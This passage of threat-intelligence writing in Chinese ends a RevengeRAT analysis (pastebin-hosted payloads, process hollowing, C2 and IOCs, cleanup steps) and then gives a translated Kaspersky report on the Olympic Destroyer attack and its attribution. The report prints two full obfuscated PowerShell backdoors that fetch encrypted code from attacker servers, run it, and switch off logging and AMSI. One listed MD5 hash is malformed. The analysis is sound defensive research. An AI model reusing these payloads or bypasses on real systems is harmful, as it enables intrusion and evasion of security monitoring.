经过解密后：得到一个MZ头的PE数据
[
第四行的代码url为 <https://pastebin.com/raw/W455MkAZ>
[
经过解密后，也可以得到MZ开头的数据
[
## **给创建傀儡进程传参**
这里先创建一个实例，类和方法都来自第一段数据dll中，然后传入两个参数，第一个是创建的进程名“MSBuiler.exe”，第二个参数是第二段获取的PE结构数据
[
调用powershell，执行上面代码
[
第二段代码内容：
[
## **创建计划任务**
访问 <http://pastebin.com/raw//JdTuFmc5> 获得要执行的代码
[
和前面一样，改成console.log
[
解密之后，发现与上一段代码相同，只是计划任务时间从60分钟运行一次，变成了300分钟运行一次
## **修改注册表**
第四段代码修改注册表，内容是<http://pastebin.com/raw/CGe3S2Vf>取回的内容
[
[
一样，放进console里面，改成console.log,解密出的代码如图
[
最后还是和前两段一样的内容，在注册表自启动中写入，利用Powershell执行代码
[
## **反混淆**
通过前面MSBuilder.exe编译可以得到两个PE文件，一个DLL，一个EXE，都是用.net编译，都可用de4dot反混淆
[
反混淆后使用dnSpy查看dll文件，发现其中还是有很多混淆，是ConfuerEX，用工具解一下ConfuerEX混淆 解混淆之前：
[
解混淆之后：
[
在JS代码最后，会调用.dll中的类和方法
[
[
## **创建傀儡进程**
在Dodo函数传入两个参数，第一个是JS代码中写的MSBuilder,第二个是JS代码中的$f,就是前面解密出的exe文件
[
在五个目录下查找MSBuilder.exe
[
当查找到MSBuilder后，就执行下面的代码
[
这个地方调用了tickleme函数，tickleme函数又调用了PEHeaderE和FUN函数
[
PEHeaderE函数：
[
FUN函数里又调用了Smethod_0函数，传入的第一个参数是MSBuidler.exe第二个参数是exe的十六进制数据
[
Smethod_0函数，先创建了一个MSBuilder的进程
[
获取到EXE的PE头和ImageBase
[
判断是32位系统或64位系统，调用获取线程上下文函数
[
从内存中读取4字节数据，然后卸载映像，清空内存，方便后面注入
[
得到exe ImageBase的大小然后申请对应大小的空间
[
在申请的空间中写入exe的header
[
然后获取到节表，遍历写入节表的所有节
[
[
将前面获取到的线程上下文放回，然后唤醒线程，完成创建傀儡进程，执行exe里的内容
[
## **EXE**
exe中可以看见C2服务器信息、互斥量、ID等信息
[
进来先找到main函数
[
.SCG就是new的自己，然后再调用Execute()函数，Execute函数内分别是This.SC、This.PT、This.INST三个函数，每个函数创建了一共线程，执行不同的代码
[
[
其中包含有对C2服务器的TCP链接
[
获得主机各种信息包括病毒ID、IP、主机名、系统信息、内存、杀软信息等，并用key值（lunlaylo）做分隔符，然后发送到服务器
[
谷歌了一下互斥量“RV_MUTEX-WindowsUpdateSysten32”，发现是一个成熟的远控，名叫” Revenge Rat”。
# **样本溯源**
File Name | MD5
---|---
Order_679873892xls | 7641fef8abc7cb24b66655d11ef3daf2
.dll | d1726dc5808c22be63507e06bbdc087
.exe | esd785a808f7272fb79E33a66570d844
C2： | meandmyjoggar.duckdns.org
---|---
URL： | <http://www.pastebin.com/raw/nv5d9pYu>
| <http://pastebin.com/raw/vXpe74L2>
| <https://pastebin.com/raw/W455MkAZ>
| <http://pastebin.com/raw//JdTuFmc5>
| <http://pastebin.com/raw/CGe3S2Vf>
MUTEX： | RV_MUTEX-WindowsUpdateSysten32
# **查杀方案**
删除注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AvastUpdate
删除名为Windows Update和Update的调用mshta.exe的计划任务 结束进程“MSBuilder.exe
# **总结**
病毒使用excel中的宏执行代码，执行的代码都是从url中获取然后解密出来得到，添加的自启动或计划任务也没有程序落地，每次运行都从url得到数据创建一个傀儡进程实现远控。
* * * | 社区文章 |
# 迷雾中的Olympic Destroyer
|
##### 译文声明
本文是翻译文章，文章原作者 GReAT，文章来源：securelist.com
原文地址：<https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
今年的冬奥会在韩国平昌举行，开幕式后过几天，我们从多个合作伙伴那收到了几份秘密信息（TLP等级Red），内容涉及针对奥运基础设施的恶意攻击活动。快速分析这款恶意软件后，我们发现这是一款具备破坏功能、自我修改功能、密码窃取功能以及自主传播功能的恶意程序，不管从哪个角度来看，这听起来都是非常糟糕的一件事。
根据媒体的[报道](https://www.wired.com/story/olympic-destroyer-malware-pyeongchang-opening-ceremony/)，平昌奥运会的组织者[证实](https://www.theguardian.com/sport/2018/feb/10/winter-olympics-investigating-if-technical-problems-were-cyber-attack)他们正在调查一起网络攻击事件，此次攻击导致IT系统在开幕式正式开始前处于瘫痪状态，显示器被关闭、Wi-Fi停止服务，同时奥运官网也无法正常工作，以致游客无法打印门票。我们还发现了针对其他公司的攻击活动，其任务是摧毁这些目标公司。
## 二、恶意软件功能
在攻击当天，与此次网络攻击相关的几个文件已经被上传到VirusTotal上，其他安全研究人员也及时跟踪到这一情况。在我们研究此次攻击事件时，思科的Talos团队[发布](https://blog.talosintelligence.com/2018/02/olympic-destroyer.html)了关于该恶意软件的简要说明（Talos通过未公开渠道获取了这款软件）。在Talos的博客中，他们标出了这款恶意软件与Netya（[Expetr/NotPetya](https://securelist.com/expetrpetyanotpetya-is-a-wiper-not-ransomware/78902/)）以及[BadRabbit](https://securelist.com/bad-rabbit-ransomware/82851/)（勒索软件）的一些相似之处。
Talos的公开文章成功解除了这些信息所附带的TLP限制，现在相关信息已对外公布，大家可以通过各种渠道了解这些细节。然而，我们认为不应该那么早下结论，特别是此次攻击活动的追踪溯源问题。我们需要多花些时间，静下心来好好研究，继续挖掘恶意软件中的虚假标志以及争议信息。
攻击所使用的主恶意软件模块是一款网络蠕虫，由多个组件组成，包括SysInternals中的合法PsExec工具、一些凭据窃取模块以及数据擦除模块（wiper）。从技术角度来看，恶意软件的目的是传播并启动wiper载荷，在接下来的60分钟内销毁远程网络共享上的文件。同时，主模块会从浏览器以及Windows存储数据中收集用户密码，生成包含历史凭据以及新收集凭据的新版蠕虫。新生成的蠕虫会推送到可达的本地网络主机上，利用收集到的凭据以及当前的用户权限，通过PsExec工具开展攻击。
一旦wiper的运行时长达到了60分钟，它就会清除文件系统中的Windows事件日志、重置备份数据、删除卷影副本（shadow
copy），也会禁用Windows启动菜单中的recovery选项、禁用系统上的所有服务然后重启电脑，同时恶意软件如果能访问网络共享，也会在60分钟后删除这些文件。恶意软件并没有使用任何本地持久化技术，也不包含避免重复感染的保护机制。顺便提一下，对于远程文件，只有1M大小的文件会被完全覆盖（用零填充），大文件只有前1K个字节会被零覆盖。本地文件并不会被删除，蠕虫也不会删除自己或者自己的组件。
图1. OlympicDestroyer各组件之间的关系
## 三、侦察阶段
已经有许多公司发表过Olympic
Destroyer的相关研究文章，内容涉及攻击事件的追踪溯源、恶意软件功能以及传播方式，但还没有人发现这款恶意软件的启动方式以及具体来源，这一方面我们的运气不错，有点研究成果。
从2017年12月以来，安全研究人员观察到有些钓鱼邮件样本中的MS
Office文档被上传到VirusTotal上，这些钓鱼邮件都与冬奥会有关。文档内容不多，只包含一些乱码文本，让用户误以为文档编码存在问题，诱导用户按下“启用内容（Enable
Content）”按钮。
图2. 钓鱼邮件中的文档示例
当受害者点击该按钮后，钓鱼文档会使用命令行启动`cmd.exe`，执行PowerShell脚本，最终在目标系统中植入后门。攻击目标是这种邮件攻击活动与Olympic
Destroyer之间较为明显的唯一联系，然而我们发现这个文档与针对平昌的攻击事件存在各种联系，因此将这两起攻击事件关联在一起。
在攻击事件调查过程中，我们的分析人员获得了官方授权，可以以管理员权限访问受攻击影响的某台服务器，这台服务器位于平昌的某家酒店内。我们对这台Windows服务器做了归类分析。受影响的公司也非常支持我们的工作，为我们提供了来自网关的网络连接日志。在这些条件下，我们确认恶意攻击流量来自于`131.255.*.*`这个IP地址，该地址归属地为阿根廷，承载了攻击有关的恶意命令以及控制服务器功能。被感染的主机会与这台服务器建立多个连接，服务器开放的端口如下所示：
443
4443
8080
8081
8443
8880
攻击者从保加利亚的某家销售公司那购买了这台阿根廷服务器，这家公司也为我们的调查研究提供了许多帮助。该公司表示，攻击者从挪威购买了这台服务器，使用的是Protomail邮箱账户。
具体信息如下：
姓名： Simon ***
邮箱： simon***@protonmail.com
最近登录日期： 2018-02-07 16:09
登录IP： 82.102.*.* (Norway)
服务器购买日期： 2017-10-10
后面我们又进一步将这些信息与某个可疑的域名联系起来，该域名的注册地址以及电话号码归属于瑞典，具体信息如下：
域名 microsoft******[.]com
注册名： Elvis ****
邮箱： elvis***@mail.com
注册日期： 2017-11-28
2017年12月份，这个域名没有通过ICANN的邮箱验证，因此被暂停服务，在此之前，域名处于隐私保护状态。许多域名信息对外屏蔽，但我们可以看到该域名所使用的DNS服务器信息，了解到攻击者通过MonoVM购买了这个域名（MonoVM是支持比特币支付的VPS服务商）：
域名服务器： monovm.earth.orderbox-dns[.]com
域名服务器： monovm.mars.orderbox-dns[.]com
域名服务器： monovm.mercury.orderbox-dns[.]com
域名服务器： monovm.venus.orderbox-dns[.]com
域名服务器变更历史如下图所示：
图3. `microsoft*****.com`域名服务器的历史变更记录
这个邮件地址是某个小型网络的联系地址，位于 **89.219.*.***
这个大网段中，该网络的归属地为哈萨克斯坦，目前我们只能跟踪到这里。现在我们还不能透露完整信息，避免这个联系地址发生变动，希望大家能够理解这一点。我们已经将完整信息提供给执法部门以及订阅我们的APT情报服务的客户。
为了管理位于阿根廷的这台服务器，`Simon
***`使用了位于挪威境内的一个IP地址（`82.102.*.*`）。这个地址是NordVPN（<https://nordvpn.com/>）服务商所使用的网关地址，该服务商支持比特币支付，可以提供隐私保护的VPN服务。
在以往的攻击活动中，我们也曾见过NordVPN这个名字。之前我们发现过攻击者在钓鱼邮件中用到了一份武器化的Word文档，当时的攻击目标也是冬奥会，文档中包含一些垃圾文本，这些文本看起来貌似源自于某个二进制对象（比如页面文件或者原始磁盘数据）。然而，这些随机数据中包含两个可读的文本字符串（如下图红色方框所示），这些字符串在文档中（文档的MD5值为`5ba7ec869c7157efc1e52f5157705867`）并没有什么特别含义：
图4. 钓鱼文档中出现的openvpn配置文件信息
当然这个证据并不是特别充分，但还是能给我们提供一些线索，表明针对冬奥会的钓鱼攻击组织与推出Olympic
Destroyer蠕虫的攻击者之间存在一定联系。此外，该文档中还包含一条PowerShell命令，与Olympic
Destroyer受害者网络中发现的PowerShell后门非常相似。这两份代码的对比如下所示。
如下列出的两份PowerShell脚本既可以用在武器化的文档中，也可以用作单独的后门。作为单独的无文件（fileless）后门，这两个脚本都采用了相同的工具来构建以及混淆处理，都使用了相似的URL结构，都在PowerShell中采用了RC4算法，也都将密钥通过base64编码后，嵌入cookie字段发送给服务器。
针对韩国的钓鱼攻击所使用的PowerShell载荷如下所示：
( gCi VariABLE:FzS3AV ).”VaLUE”::”expecT100cOnTiNUe”=0;
${wC}=^&NEW-ObjecT System.Net.Webclient;${u}=Mozilla/5.0 (Windows NT 6.1;WOW64; Trident/7.0; rv:11.0)like Gecko;
( GCI VARiabLe:fZS3aV ).”vAlUe”::”seRVeRCeRTiFICaTEVALIDATIoNCALlbAck” = {${tRUE}};
${wC}.”hEADERs”.Add.Invoke(User-Agent,${U});
${WC}.”PROXy”= ( variaBLe (“fX32R”) -VAlUeO )::”DefaultWebProxy”;
${wc}.”pRoxY”.”CREdENtials” = ( GET-vaRiABle (‘hE7KU’)).”VAlue”::”dEFauLTNeTWOrkCREdENTIALs”;
${K}= $XNLO::”asCiI”.GetBytes.Invoke(5e2988cfc41d844e2114dceb8851d0bb);
${R}=
{
${D},${K}=${ArGs};
${s}=0..255;0..255^|^&(‘%’)
{
${j}=(${j}+${s}[${_}]+${k}[${_}%${K}.”couNt”])%256;
${s}[${_}],${S}[${J}]=${s}[${J}],${S}[${_}]
};
${d}^|^&(‘%’)
{
${I}=(${I}+1)%256;
${h}=(${H}+${s}[${I}])%256;
${S}[${I}],${s}[${H}]=${s}[${H}],${S}[${I}];
${_}-BxoR${S}[(${s}[${I}]+${S}[${H}])%256]}
};
${Wc}.”hEadeRS”.Add.Invoke(cookie,session=ABWjqj0NiqToVn0TW2FTlHIAApw=);
${SER}=https://minibo***[.]cl:443;
${T}=/components/com_tags/controllers/default_tags.php;
${dATa}=${Wc}.DownloadData.Invoke(${seR}+${T});
${IV}=${DATA}[0..3];
${dAta}=${DaTA}[4..${dAtA}.length];
-jOin[ChaR[]](^& ${R} ${DAtA} (${IV}+${K}))^|.IEX &&SeT RMN=ecHo InvoKe-expRESsIon ([ENVirOnMeNt]::gETeNvIroNMENTvarIaBlE(‘svTI’,’procEsS’)) ^| pOWErshEll -NOnint -wiNdOWSt hiddeN -NoEXiT -NoprOFilE -ExECuTiONPOLIcy bYpASs – && CMd.exE /c%Rmn%
OlympicDestroyer受害者环境中发现的PowerShell载荷如下所示：
If($PSVERsIoNTAbLe.PSVeRsIon.MAJOR -Ge 3){$GPS=[ReF].ASSEmbly.GETTYPE(‘System.Management.Automation.Utils’).”GeTFie`Ld”(‘cachedGroupPolicySettings’,’N’+’onPublic,Static’).GEtVALUe($NulL);
If($GPS[‘ScriptB’+’lockLogging’]){$GPS[‘ScriptB’+’lockLogging’][‘EnableScriptB’+’lockLogging’]=0;
$GPS[‘ScriptB’+’lockLogging’][‘EnableScriptBlockInvocationLogging’]=0}ElSE{[ScriptBlOcK].”GeTFiE`Ld”(‘signatures’,’N’+’onPublic,Static’).SETValUE($NUlL,(New-ObJecT CoLLectIOnS.GeNeRIC.HAshSet[stRing]))}[ReF].AssEmbLY.GETTYPe(‘System.Management.Automation.AmsiUtils’)|?{$_}|%{$_.GEtField(‘amsiInitFailed’,’NonPublic,Static’).SEtVALue($nULL,$TRuE)};
};
[SYStem.NeT.SerVicePoinTMANAGeR]::EXPeCt100ConTINuE=0;
$wC=NeW-ObJect SySTem.NEt.WEBClIeNT;
$u=’Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko’;
$Wc.HEADErS.Add(‘User-Agent’,$u);
$wC.ProXY=[SYsTeM.NET.WeBREqUesT]::DEFAUltWebPROXY;
$wC.PROxY.CredentIAlS = [SYsTem.NEt.CRedeNTialCacHe]::DeFAuLTNeTwoRKCredeNtiAls;
$Script:Proxy = $wc.Proxy;
$K=[SysTEM.Text.ENcOding]::ASCII.GETBYTes(’94+K/L3OE?o@qRl>.:FPev7rtNb^|#im’);
$R=
{
$D,$K=$ARgs;
$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COuNt])%256;
$S[$_],$S[$J]=$S[$J],$S[$_]};
$D|%
{
$I=($I+1)%256;
$H=($H+$S[$I])%256;
$S[$I],$S[$H]=$S[$H],$S[$I];
$_-bxor$S[($S[$I]+$S[$H])%256]
}
};
$ser=’http://131.255.*.*:8081′;
$t=’/admin/get.php’;
$wc.HeAders.Add(“Cookie”,”session=zt8VX24Knnzen8pNvhPl1xJ2E5s=”);
$daTA=$WC.DownlOADDATA($ser+$t);
$iV=$DATa[0..3];
$datA=$dATa[4..$data.leNgth];
-joiN[CHAR[]](& $R $dAta ($IV+$K))|IEX
## 四、横向渗透
除了使用网络蠕虫的自我复制功能以外，攻击者在执行破坏性恶意软件之前也会手动执行一些横向渗透操作。我们认为攻击者之所以这么做，是为了寻找更合适的位置来释放蠕虫。恶意软件通过PsExec以及窃取的凭据信息在目标网络内渗透、打开默认的meterpreter端口（TCP
4444端口）、下载并运行后门载荷（meterpreter）。攻击者还会检查网络配置信息，可能是想搜寻连接到多个网络或者其他VPN链路的服务器，以进一步渗透可能与奥运会基础设施有关的邻近网络环境。
在受此次攻击影响的滑雪度假酒店网络中，有一台主机启用了卡巴斯基实验室的系统监视器组件，该组件成功收集到攻击者在横向渗透过程中所遗留的一些蛛丝马迹。根据该主机的监测数据，攻击者进入系统的时间为2018年2月6日。攻击者用到了3种类型的PowerShell
scriptlet，分别为TCP 4444端口启动器（opener）、ipconfig启动器（launcher）以及一个下载器（downloader）。
收到这些监测数据后，我们构建了攻击者的活动时间线以及直方图，可以显示攻击者何时在系统上运行可执行文件，如下图所示：
图5. 攻击者在一天内的活跃情况（按小时分布）
由此我们可以看到，在正常办公时间之外攻击者往往最为活跃（韩国标准时间，UTC+
9），攻击者这么做可能是不想引起太大动静，也有可能这些时间刚好与他们的时区相符。
## 五、蠕虫传播
Olympic
Destroyer是一款网络蠕虫，可以收集用户凭据以及主机名信息。新的数据会附加到现有数据的尾部。我们从不同网络中收集了多个蠕虫样本，利用这些样本重建了蠕虫的传播路径，找出了传播的源头（或者至少定位出最开始涉及到的主机名以及用户列表）。
图6. Olympic Destroyer蠕虫传播路径
我们根据提取出来的凭据列表、主机名以及服务器角色制作了上面这张图（服务器角色由服务器名称来判断）。可以看到至少有3个独立的区域可以传播蠕虫：Atos.net公司、滑雪度假酒店以及`Pyeongchang2018.com`服务器。
在某个时间点，带有凭据信息的恶意软件样本被上传到VirusTotal上，从而被安全研究人员发现。安全研究人员在沙箱环境中运行蠕虫样本，并将新版样本再次上传到VirusTotal上。VT上已经存在多个样本，这些样本包含沙箱主机的凭据信息。尽管如此，这款网络蠕虫的发源地并不是这些节点，而是来自于前面提到的几个区域中的某一环。
## 六、受害者
渔叉式钓鱼邮件的攻击目标是冬奥会官方合作伙伴的网络。攻击者可能通过官方网站找到了这些合作伙伴公司的名称以及域名，收集已知的邮件地址，然后开始使用渔叉式钓鱼邮件轰炸这些目标。
这些攻击文档中，有一份于2017年12月29日从韩国上传至VT，该文档位于某个邮件内（哈希值为`6b728d2966194968d12c56f8e3691855`）。邮件发送方模仿了韩国NCTC（国家反恐中心）的邮件地址，所使用的服务器IP归属地为新加坡。
图7. 伪造的发送方地址
这封邮件看上去会发送给`icehockey[@pyeongchang2018](https://github.com/pyeongchang2018
"@pyeongchang2018")[.]com`，然而，真正的攻击目标非常广泛，如下所示：
攻击者在搜索以这些域名结尾的邮箱地址时似乎采取了广撒网的策略，并没有特别精确。使用诸如`sk.com`或者`kt.com`之类的短域名并不是个好主意，以`sk.com`以及`kt.com`为域名结尾的某些完全不相关的公司同样收到了钓鱼邮件，很多人没有注意到这一点，这些公司的域名如下。
krovy-sk.com（斯洛伐克的木材公司）
okc-sk.com（加拿大采矿相关公司）
bcel-kt.com（老挝的财务公司）
kuhlekt.com（澳大利亚的软件公司）
wertprojekt.com（德国的房地产公司）
基于我们发现的所有证据，此次攻击活动似乎成功破坏了如下网络：
1、负责滑雪场自动化设施的软件厂商
2、韩国境内的两家滑雪胜地酒店
3、总部位于法国的IT服务提供商（Atos.net）
4、某些商业相关网络
由于这是一款网络蠕虫，可以借助Windows网络共享进行传播，因此肯定会造成一些损失。澳大利亚的某个受害者组织将释放器（dropper）文件上传到了VT上，我们从中提取出了恶意软件所窃取的凭据，其中涉及到的主机名为ATVIES2BQA。这个字符串乍看之下像是一个随机的字符序列，但我们推测AT代表的是主机的国别代码（奥地利），后面的“VIES”为组织名，随后是用于唯一标识某主机的随机字符。根据OSINT（公开源情报）所提供的信息，奥地利只有一个大型组织与这个名称相匹配：VAT
Information Exchange
System（增值税信息交换系统，整个欧盟都在使用）。VIES是欧盟委员会拥有的搜索引擎。被突破的要么是Atos的一台主机，该主机承担与奥地利VIES通信的任务；要么是奥地利的VIES系统，恶意软件的网络传播行为的确给该系统造成了一些损失。
但根据我们的调查结果，蠕虫攻击主要爆发在韩国冬季度假胜地的一家酒店。酒店并没有往VT网站上传任何样本，这也是攻击情况不明的原因所在。我们猜想韩国境内受攻击影响的其他许多公司也采取了类似的操作，这种情况使我们无法完全窥探被攻击的基础设施的完整规模。
虽然我们无法标出酒店的完整攻击链路，但可以确认的是，位于平昌滑雪场的某家酒店的确遭受到了攻击。这个度假村虽然与奥运会相距很近，但并不是举办比赛的官方园区。然而我们还是可以把它当成奥运会周边基础设施的一部分，它为许多客人提供服务，其中还包括参加奥运比赛的运动健儿。采访业主后，我们发现恶意软件成功禁用了滑雪门以及滑雪升降梯，这些设施由受攻击影响的某台服务器负责维护。我们的分析表明，这次攻击是攻击者精心准备的。攻击者刻意选择了这个滑雪胜地的自动化服务器作为破坏性蠕虫的传播源头。这个服务器可以成为网络环境中的“零号病人（patient-zero）”。攻击者所选择的攻击时间点也非常精准，选在开幕式前几个小时，使蠕虫能尽可能传播到网络深处，对基础设施造成影响，给依赖这些设施的人带来最大程度的不便。事实上，攻击者的目的是让蠕虫攻击事件成为一个新闻热点话题。
## 七、追踪溯源迷雾
思科Talos研究人员在公布的[博客](https://blog.talosintelligence.com/2018/02/olympic-destroyer.html)中指出，Olympic
Destroyer使用了类似于BadRabbit以及NotPetya的技术来重置事件日志并删除备份数据。虽然攻击者为了实现类似的效果采用了相似的技术，但编写的具体代码在语法上存在许多差异。攻击者并没有简单地复制粘贴代码，并且许多安全博客之前已经公开讨论过相关命令行，如果任何人有需要，都可以直接利用之前公开的研究成果。
图8. Olympic Destroyer以及NotPetya部分代码对比（清除事件日志以及禁用系统恢复）
在Talos公开研究成果后，IntezerLabs这家以色列公司也发表了一则推文，他们发现此次攻击与中国的APT组织有关。
图9. 2018年2月12日IntezerLabs公布此次攻击与中国的APT组织有关
IntezerLabs发布了一篇[博客](http://www.intezer.com/2018-winter-cyber-olympics-code-similarities-cyber-attacks-pyeongchang/)，介绍了利用他们内部的恶意软件相似性分析技术所得到的一些研究成果。
几天之后，许多媒体开始[报道](https://www.scmagazineuk.com/2018-winter-olympics-hit-with-destroyer-malware-during-opening-ceremony/article/743928/)，认为俄罗斯的APT组织有潜在的动机来发动攻击：“在2017年11月和12月期间，Crowdstrike
Intelligence观察到了针对国际体育部门的凭据窃取攻击，认为此次攻击活动的幕后主使者为俄罗斯的黑客组织Fancy Bear……”。
另一方面，Crowdstrike的情报副总裁Adam
Meyers则在某次[采访](https://www.scmagazineuk.com/2018-winter-olympics-hit-with-destroyer-malware-during-opening-ceremony/article/743928/)中称：“现在没有证据表明Fancy
Bear与针对奥运会的攻击事件有关”。
然而几星期之后，华盛顿邮报再次提及俄罗斯的攻击行为。华盛顿邮报引用了“两名匿名美国官员”的消息，[声称](https://www.washingtonpost.com/world/national-security/russian-spies-hacked-the-olympics-and-tried-to-make-it-look-like-north-korea-did-it-us-officials-say/2018/02/24/44b5468e-18f2-11e8-92c9-376b4fe57ff7_story.html)俄罗斯军事间谍是冬奥会攻击事件的幕后黑手。不幸的是，基于匿名消息源的这类文章并没有包含可以验证的信息，也没有提供真正的答案，这些文章的唯一作用就是传播谣言。
微软的安全团队似乎也被这款恶意软件玩得团团转，他们的内部检测机制认为攻击中可能用到了EternalRomance漏洞（MS17-010）。
图10. 微软安全团队认为Olympic Destroyer中存在EternalRomance漏洞利用技术
几天之后，由于这些消息没有得到确认，微软收回了前面发表的言论。
图11. 微软安全团队在后续推文中收回了先前的声明
随后我们向我们的APT情报订阅客户推送了一份调查取证报告，认为此次攻击事件的追踪溯源是非常复杂的一件事情（如果想了解详细信息请联系[email protected]），第二天思科Talos团队决定重新检查Olympic
Destroyer，对外公布了相似的调查结论。我们非常赞同Talos的这篇分析[文章](https://blog.talosintelligence.com/2018/02/who-wasnt-responsible-for-olympic.html)，在代码对比方面我们得到了非常相似的结论。
此外，Talos研究人员指出，恶意软件在操作过程中用到了`evtchk.txt`这个文件名作为虚假特征，这个特征与BlueNoroff/Lazarus在2016年针对孟加拉国的SWIFT攻击事件中所使用的文件名特征（`evtdiag.exe`、`evtsys.exe`以及`evtchk.bat`）非常相似。
Recorded
Future认为不应该把这次攻击事件归结到任何攻击者；然而，他们[声称](https://www.recordedfuture.com/olympic-destroyer-malware/)这款恶意软件与BlueNoroff/Lazarus
LimaCharlie恶意软件加载器之间存在相似性，而大家认为这些恶意软件与朝鲜攻击者有千丝万缕的关系。
无法否认的是，恶意软件部分代码与Lazarus的代码非常相似。Olympic
Destroyer中使用的wiper模块（MD5：`3c0d740347b0362331c882c2dee96dbf`）与Bluenoroff（MD5：`5d0ffbc8389f27b0649696f0ef5b3cfe`）中擦除文件的代码非常相似。
图12. 擦除模块的代码（左图：Bluenoroff工具，右侧：OlympicDestroyer）
Lazarus与Olympic
Destroyer的相似度也很高。这两个攻击组织使用了相同的技术在内存中解密攻击载荷，解密密码同样来自于命令行参数。因为Lazarus的恶意软件加载器中包含一些默认的C2信息，为了避免被逆向分析，Lazarus使用这种技术来保护自己的后门模块。
尽管这两款恶意软件方法上有些相似，但用法上却有较大的差别：
1、Lazarus所使用的字母数字密码长度较长且较为可靠（30多个字符），Olympic Destroyer只使用了一个非常简单的密码：“123”。
2、Lazarus从来没有将保护攻击载荷的密码硬编码到恶意软件中，而Olympic
Destroyer则会采用硬编码方案（事实上没有其他可选方案，因为蠕虫必须能够自行传播并自主运行）。这也就是为什么在网络蠕虫中使用密码保护的攻击载荷是一种比较荒谬的想法，考虑到Lazarus组织之前的TTP（Tactics,
Techniques and Procedures，战术、技术以及过程）特征，我们认为他们不大可能会采用类似的技术。
考虑到金正恩的胞妹也会出席平昌冬奥会开幕式，我们认为朝鲜参与此次攻击事件的可能性看起来不大。根据我们的调查结果，攻击事件发生在2018年2月9日开幕式之前。
接下来我们的发现让我们自己都大吃一惊。利用内部的恶意软件相似性系统，我们发现Olympic
Destroyer与Lazarus组织存在一种独特的关联性。大家都知道，可执行文件中带有一些代码开发环境特征（即Rich
Header），某些情况下可以用来作为指纹信息识别恶意软件开发者以及相关工具。在卡巴斯基实验室对Olympic Destroyer
wiper样本的分析过程中，这个“指纹信息”与之前已知的Lazarus恶意软件组件匹配程度达到了100%，并且完全没有与卡巴斯基实验室先前掌握的任何无害或者恶意文件有交集。
然而这款恶意软件在动机方面以及其他方面与Lazarus的TTP特征并不一致，这也促使我们某些研究人员以怀疑的态度重新审视这个稀罕物。再次仔细检查这些特征、手动验证每个功能后，我们发现这些特征与实际的代码并不匹配。此时我们终于明白，攻击者伪造了这些特征，使其能够与Lazarus组织的指纹完美匹配。考虑到在恶意软件分析和追踪溯源方面人们对这一领域尚未深入挖掘，我们在另一篇[博客](https://securelist.com/the-devils-in-the-rich-header/84348/)中专门介绍了我们的分析证明过程，提供了更加深入的技术细节。
我们还注意到恶意软件中存在带有Rich
Header信息的wiper模块，该模块从法国受害者（Atos）网络上传到VirusTotal上。模块的编译时间为2018-02-09
10:42:19，此时距离平昌滑雪场遭受攻击后差不多2个小时。我们不清楚攻击出现了什么问题，但看起来攻击者似乎急于修改蠕虫的wiper组件，让其能够立即禁用系统服务并重启主机，而不需要等待60分钟。由于距离官方开幕式典礼只剩下几分钟，攻击者似乎想立刻看到攻击成果。
将上述所有情况考虑在内，我们发现攻击者故意在恶意软件中放置了许多非常复杂的虚假特征，向分析人员释放烟雾弹，让他们误以为在犯罪现场缴获了枪口冒烟的凶器，然而却与事实的真相渐行渐远。
## 八、总结
现在我们可以得出什么结论呢？这与背后攻击者的聪明程度密切相关
如果Lazarus是最聪明的组织，那么他们完全可以构造一个复杂的虚假标志，复杂到让大家难以证实，只有更复杂的分析过程才能发现这是伪造的标志。然而，研究人员的技术复杂程度是攻击者难以衡量的一个因素。复杂度肯定会降低可靠性，无法保证一切都按原计划执行。另外，Lazarus没有明显的动机来发起这次攻击，更何况此次攻击与他们的TPP并不相符。
说到TTP，我们发现攻击者使用过NordVPN以及MonoVM托管服务，这两种服务都支持比特币支付，因而像是为APT攻击者量身定做的服务。作为众所周知的俄罗斯攻击组织，Sofacy
APT之前曾使用过这些服务以及其他TTP。我们在一年前发表了关于Lazarus
APT组织的研究报告，指出Lazarus组织在针对全世界银行的攻击活动中使用过虚假标志，将线索引向俄罗斯组织。此次事件是否是俄罗斯Sofacy组织的打击报复，还是有人想披着Sofacy的外壳来搞些事情？事情真相尚未揭晓，我们还没有得到明确的答案。
在此次事件中，关于攻击者的真实动机仍是开放性问题。我们知道攻击者拥有受害网络的管理员账户。如果删除备份数据、销毁所有的本地数据，攻击者可以轻松破坏掉奥运会的基础设施。然而攻击者还是“手下留情”了，他们擦除了Windows共享上的文件、重置事件日志、删除备份数据、禁用Windows服务、使系统无法正常重启。当我们考虑到其他攻击组织以及恶意软件的TTP特征、故意引入的虚假标志以及较好的OPSEC（操作安全），想理解攻击者的意图可能会带出更多问题。
根据这些信息，我们可以猜测此次攻击事件背后的动机，包括如下几种可能性：
1、通过安全人员无法掌握的秘密通信向世人展示攻击者的实力或者技术水平。在高度机密的政治谈判中，全面且具备高度破坏性的网络攻击行为往往能带来更多的话语权。
2、测试破坏性蠕虫的能力，但同时限制了蠕虫的影响力，避免引起各种调查人员以及普罗大众的过度关注（因为攻击中可能出现人为错误或者操作失误）。
3、通过虚假标志让情报研究人员陷入迷宫，观察研究人员公布的结论，学习如何实现完美的虚假标志。
如果你在思索为何恶意软件所附带的擦除模块不能擦除自身组件，那么最后一种可能性也就能说得通，因为作者希望别人能够发现这款恶意软件。
对于实力强大的攻击者，如果他们想学习如何可靠地构造虚假标志、如何误导研究人员的追踪溯源分析，那么他们最终能够完全瓦解对其的追踪溯源。但这种高超技术需要现实试验的不断磨练。
我们认为这次精心策划的Olympic
Destroyer攻击事件将在未来的APT研究中扮演重要的角色。虽然此次攻击并没有完全破坏平昌冬奥会，但同时给韩国以及欧洲造成了影响。最重要的是，攻击事件给追踪溯源过程带来了极大的困扰，降低人们对情报研究成果的信任度。
从此次攻击事件中，致力于威胁情报的人们都可以得到一个教训，那就是不要着急追踪溯源。追踪溯源是一个非常微妙的问题，应该谨慎处理。在这个行业中，我们不应该牺牲研究的准确性，却以投机的方式来推动业务进展。
## 九、Olympic Destroyer可执行文件
样本散列如下：
0311CEC923C57A435E735E106517797F
104ECBC2746702FA6ECD4562A867E7FB
12668F8D072E89CF04B9CBCD5A3492E1
19C539FF2C50A0EFD52BB5B93D03665A
221C6DB5B60049E3F1CDBB6212BE7F41
3514205D697005884B3564197A6E4A34
3C0D740347B0362331C882C2DEE96DBF
47E67D1C9382D62370A0D71FECC5368B
